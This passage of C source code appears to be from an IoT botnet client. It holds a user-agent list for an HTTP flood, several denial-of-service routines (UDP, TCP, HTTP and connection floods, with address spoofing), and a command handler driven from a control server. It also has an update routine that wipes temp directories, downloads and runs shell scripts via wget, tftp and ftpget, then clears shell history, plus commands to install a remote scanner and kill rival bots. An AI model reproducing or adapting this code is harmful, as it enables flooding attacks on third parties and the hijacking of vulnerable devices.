"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
2540
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
2541
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
2542
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
2543
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
2544
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
2545
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
2546
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
2547
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
2548
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
2549
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2550
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2551
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2552
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
2553
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
2554
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
2555
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
2556
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
2557
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
2558
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2559
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
2560
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
2561
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2562
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
2563
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
2564
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
2565
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
2566
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
2567
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
2568
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
2569
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
2570
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
2571
"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
2572
"Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
2573
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
2574
"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
2575
"Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
2576
"SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
2577
"Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
2578
"SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
2579
"Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
2580
"Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
2581
"Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
2582
"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
2583
"C4PC UserAgent/0.7",
2584
"Googlebot 1.01.003",
2585
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
2586
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
2587
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
2588
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
2589
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
2590
"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
2591
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2592
"Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
2593
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
2594
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
2595
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
2596
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
2597
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
2598
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
2599
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
2600
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
2601
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
2602
"Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
2603
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2604
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
2605
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
2606
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
2607
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
2608
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2609
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
2610
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
2611
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2612
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
2613
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
2614
"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
2615
"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
2616
"Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
2617
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
2618
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
2619
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
2620
"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2621
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
2622
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
2623
"Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
2624
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
2625
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
2626
"Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
2627
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2628
"HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
2629
"Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
2630
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2631
"Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
2632
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2633
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
2634
"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
2635
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2636
"Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
2637
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
2638
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
2639
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
2640
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
2641
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
2642
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
2643
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
2644
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
2645
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
2646
"Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
2647
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2648
"Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
2649
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
2650
"Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
2651
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
2652
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
2653
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
2654
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
2655
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
2656
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
2657
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2658
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
2659
"Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
2660
"Wget/1.12 (linux-gnu)",
2661
"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
2662
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
2663
"Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
2664
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
2665
"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
2666
"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
2667
"Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
2668
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
2669
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
2670
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
2671
"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2672
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
2673
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
2674
"Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
2675
"Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
2676
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
2677
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
2678
"Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
2679
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2680
"HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
2681
"Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
2682
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
2683
"Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
2684
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
2685
};
2686
2687
const char *connections[] = {"close", "keep-alive", "accept"};
2688
2689
int i, timeEnd = time(NULL) + timeFoo;
2690
char request[512];
2691
2692
sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 674)]);
2693
2694
for (i = 0; i < power; i++) {
2695
if (fork()) {
2696
while (timeEnd > time(NULL)) {
2697
int socket = socket_connect((char *)host, port);
2698
if (socket != 0) {
2699
write(socket, request, strlen(request)); // Won't send out agents correctly will be fixed later ; note to self
2700
close(socket);
2701
}
2702
}
2703
_exit(1);
2704
}
2705
}
2706
}
2707
2708
2709
void sendCNC(unsigned char *ip,int port, int end_time)
2710
{
2711
int end = time(NULL) + end_time;
2712
int sockfd;
2713
struct sockaddr_in server;
2714
//sockfd = socket(AF_INET, SOCK_STREAM, 0);
2715
2716
server.sin_addr.s_addr = inet_addr(ip);
2717
server.sin_family = AF_INET;
2718
server.sin_port = htons(port);
2719
2720
while(end > time(NULL))
2721
{
2722
sockfd = socket(AF_INET, SOCK_STREAM, 0);
2723
connect(sockfd , (struct sockaddr *)&server , sizeof(server));
2724
sleep(1);
2725
close(sockfd);
2726
}
2727
2728
}
2729
2730
void UpdateBins()
2731
{
2732
int pid;
2733
2734
if ( (pid = fork()) == 0) {
2735
system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://0.0.0.0/shitty.sh; chmod 777 shitty.sh; sh shitty.sh; tftp 0.0.0.0 -c get shtftp1.sh; chmod 777 shtftp1.sh; sh shtftp1.sh; tftp -r shtftp2.sh -g 0.0.0.0; chmod 777 shtftp2.sh; sh shtftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf shitty.sh shtftp1.sh shtftp2.sh ftp1.sh; rm -rf *; history -c");
2736
sleep(20); //sleeping for 20 dont wanna kill all your bots.
2737
} else {
2738
printf("%d\n", pid);
2739
}
2740
2741
return;
2742
}
2743
2744
void processCmd(int argc, unsigned char *argv[])
2745
{
2746
2747
if(!strcmp(argv[0], "PYTHON")) //Thanks to B1NARY for the python scanner :P
2748
{
2749
if(!strcmp(argv[1], "INSTALL"))
2750
{
2751
system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 0.0.0.0/good2.py");
2752
ClearHistory();
2753
sockprintf(mainCommSock, "INSTALLING PYTHON SCANNER");
2754
}
2755
if(!strcmp(argv[1], "UPDATE"))
2756
{
2757
system("cd /.tmp;rm -rf *py;wget 0.0.0.0/good2.py");
2758
ClearHistory();
2759
sockprintf(mainCommSock, "UPDATING PYTHON SCANNER");
2760
}
2761
if(!strcmp(argv[1], "OFF"))
2762
{
2763
system("killall -9 python;pkill python");
2764
ClearHistory();
2765
sockprintf(mainCommSock, "STOPPING PYTHON SCANNER");
2766
}
2767
if(!strcmp(argv[1], "START"))
2768
{
2769
system("cd /.tmp;python good2.py 1000 LUCKY 1 3");
2770
ClearHistory();
2771
sockprintf(mainCommSock, "STARTING VOIDS HACKA SCANNA");
2772
}
2773
2774
}
2775
2776
if(!strcmp(argv[0], "PING"))
2777
{
2778
sockprintf(mainCommSock, "PONG!");
2779
return;
2780
}
2781
2782
if(!strcmp(argv[0], "TABLE"))
2783
{
2784
sockprintf(mainCommSock, "%d", getdtablesize());
2785
return;
2786
}
2787
2788
if(!strcmp(argv[0], "UPDATE"))
2789
{
2790
sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
2791
UpdateBins(1);
2792
return;
2793
}
2794
2795
if(!strcmp(argv[0], "SCANNER"))
2796
{
2797
if(!strcmp(argv[1], "OFF"))
2798
{
2799
if(scanPid == 0) return;
2800
kill(scanPid, 9);
2801
sockprintf(mainCommSock, "STOPPING SCANNER");
2802
scanPid = 0;
2803
}
2804
if(!strcmp(argv[1], "ON"))
2805
{
2806
if(scanPid != 0) return;
2807
uint32_t parent;
2808
parent = fork();
2809
int threads = 1000;//if you change this it adds more threads to the scanner but will also fuck your bots.
2810
int timeout = 10;
2811
if (parent > 0) { scanPid = parent; return;}
2812
else if(parent == -1) return;
2813
sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
2814
StartTheLelz(timeout, threads);
2815
_exit(0);
2816
}
2817
}
2818
2819
if(!strcmp(argv[0], "NETIS"))
2820
{
2821
2822
2823
if(!strcmp(argv[1], "OFF"))
2824
{
2825
if(scanPid == 0) return;
2826
kill(scanPid, 9);
2827
sockprintf(mainCommSock, "STOPPING NETIS SCANNER", inet_ntoa(ourIP));
2828
scanPid = 0;
2829
}
2830
2831
if(!strcmp(argv[1], "ON"))
2832
{
2833
if(scanPid != 0) return;
2834
uint32_t parent;
2835
parent = fork();
2836
2837
if (parent > 0) { scanPid = parent; return;}
2838
else if(parent == -1) return;
2839
sockprintf(mainCommSock, "STARTING NETIS SCANNER", inet_ntoa(ourIP));
2840
NetisScanner();
2841
_exit(0);
2842
}
2843
}
2844
2845
if(!strcmp(argv[0], "REMOVER"))
2846
{
2847
if(!listFork())
2848
{
2849
sockprintf(mainCommSock, "COMMENCING BOT KILL ON -> %s", inet_ntoa(ourIP));
2850
botkiller();
2851
_exit(0);
2852
}
2853
}
2854
2855
if(!strcmp(argv[0], "GETPUBLICIP"))
2856
{
2857
sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
2858
return;
2859
}
2860
2861
if(!strcmp(argv[0], "UDP"))
2862
{
2863
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
2864
{
2865
sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
2866
return;
2867
}
2868
2869
unsigned char *ip = argv[1];
2870
int port = atoi(argv[2]);
2871
int time = atoi(argv[3]);
2872
int spoofed = atoi(argv[4]);
2873
int packetsize = atoi(argv[5]);
2874
int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
2875
int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
2876
int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
2877
2878
if(strstr(ip, ",") != NULL)
2879
{
2880
unsigned char *hi = strtok(ip, ",");
2881
while(hi != NULL)
2882
{
2883
if(!listFork())
2884
{
2885
sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
2886
_exit(0);
2887
}
2888
hi = strtok(NULL, ",");
2889
}
2890
} else {
2891
if (!listFork()){
2892
sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
2893
_exit(0);
2894
}
2895
}
2896
return;
2897
}
2898
2899
if(!strcmp(argv[0], "TCP"))
2900
{
2901
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
2902
{
2903
sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
2904
return;
2905
}
2906
2907
unsigned char *ip = argv[1];
2908
int port = atoi(argv[2]);
2909
int time = atoi(argv[3]);
2910
int spoofed = atoi(argv[4]);
2911
unsigned char *flags = argv[5];
2912
2913
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
2914
int psize = argc > 6 ? atoi(argv[6]) : 0;
2915
2916
if(strstr(ip, ",") != NULL)
2917
{
2918
unsigned char *hi = strtok(ip, ",");
2919
while(hi != NULL)
2920
{
2921
if(!listFork())
2922
{
2923
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
2924
_exit(0);
2925
}
2926
hi = strtok(NULL, ",");
2927
}
2928
} else {
2929
if (!listFork()) {
2930
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
2931
_exit(0);
2932
}
2933
}
2934
}
2935
if (!strcmp((const char *)argv[0], "HTTP")) {
2936
if (argc < 6)
2937
{
2938
return;
2939
}
2940
2941
if (strstr((const char *)argv[1], ",") != NULL) {
2942
unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
2943
while (hi != NULL) {
2944
if (!listFork()) {
2945
sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
2946
_exit(0);
2947
}
2948
hi = (unsigned char *)strtok(NULL, ",");
2949
}
2950
} else {
2951
if (listFork()) {
2952
return;
2953
}
2954
sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
2955
_exit(0);
2956
}
2957
}
2958
2959
if(!strcmp(argv[0], "CNC"))
2960
{
2961
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
2962
{
2963
sockprintf(mainCommSock, "CNC <target> <port> <time>");
2964
return;
2965
}
2966
2967
unsigned char *ip = argv[1];
2968
int port = atoi(argv[2]);
2969
int time = atoi(argv[3]);
2970
2971
if(strstr(ip, ",") != NULL)
2972
{
2973
unsigned char *hi = strtok(ip, ",");
2974
while(hi != NULL)
2975
{
2976
if(!listFork())
2977
{
2978
sendCNC(hi, port, time);
2979
close(mainCommSock);
